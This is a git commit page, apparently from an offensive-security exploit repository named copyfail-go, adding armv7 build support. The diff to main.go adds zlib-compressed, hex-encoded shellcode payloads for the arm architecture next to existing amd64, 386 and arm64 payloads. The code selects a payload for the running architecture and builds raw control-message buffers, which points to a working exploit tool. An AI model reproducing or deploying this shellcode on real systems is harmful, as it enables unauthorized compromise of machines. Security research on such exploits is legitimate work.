milliways-infosec/copyfail-go
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feat: ✨ add support for armv7

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- Updated .goreleaser.yaml to include armv7 builds.
- Added new shellcode payloads for armv7l
- Enhanced build-n-print.sh to support building payloads for armv7l architecture.
- Updated README.md with instructions for compiling payloads on Debian systems.
This commit is contained in:
kernel-sanders 2026-04-30 23:23:45 -04:00
parent 131f7d1842
commit 9f4e4936ec
6 changed files with 140 additions and 3 deletions
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4
main.go
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@ -36,6 +36,7 @@ var payloadsZlibHex = map[string]string{
"amd64": "789cab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e07e5c1680601086578c0f0ff864c7e568f5e5b7e10f75b9675c44c7e56c3ff593611fcacfa499979fac5190c00111d10d3",
"386": "789cab77f57163646464800126066606102fa48185c38401014c18141860aae0aa816a40b806c80461569098000383e101c3db1bae9e6d303c1090a1af5f9c91a19f9499d7f93820b8f361e7a10ddc4089db598c11671b0038b31858",
"arm64": "78daab77f5716362646480012686ed0c205e05830398efc080091c182c18603a40342b9a2c32bd06ca5b039787e96cb8e421d47009c8bb0214126004f29980788534540cc4e686b0f59332f3f48b3318003ff61578",
"arm": "789cab77f57163646464800126060d06102f84c181c10426c8c2c06ac2a0c000538550ed00c61d40128459e1b20b1e8b172c780c64bc9760e87fc42000642b2c78cc0d1503c93342d9fa499979fac5190c00aca71742",
}
// See payloads/exec-argv1-* for the shellcode
@ -43,6 +44,7 @@ var execArgv1ZlibHex = map[string]string{
"amd64": "789cab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e02e5c1680601086578c0f0ff864c7e568fee1a1501c36f59d61133f9590dff67d944f0b3020082b00eaf",
"386": "789cab77f57163646464800126066606102fa48185c38401014c18141860aae0aa816a40381fc80461569098000383e101c3db1bae9e6de88e51e1303c99c51d31f36c83e1ed2cc688b30d001bf41180",
"arm64": "789cab77f5716362646480012686ed0c205e05830398efc080091c182c18603a40342b9a2c32bd04ca5b029787e96cb8e421d47009c8bbf280dbe1272390cf04c42ba4216220f915dc103600d72b1509",
"arm": "789cab77f57163646464800126060d06102f84c181c10426c8c2c06ac2a0c000538550ed00c60d40128459e1b20b1e8b172c780c64bce76098fb944100c85658f0981b2a06926784b201f6cc14c1",
}
// packCmsg constructs a raw Control Message (CMSG) buffer to be sent alongside the payload
@ -241,7 +243,7 @@ func main() {
// Pick payload for the running architecture
payloadHex, ok = payloadsZlibHex[runtime.GOARCH]
if !ok {
log.Fatalf("Unsupported architecture: %s (need amd64 or arm64)", runtime.GOARCH)
log.Fatalf("Unsupported architecture: %s", runtime.GOARCH)
}
}
payloadZlib, err := hex.DecodeString(payloadHex)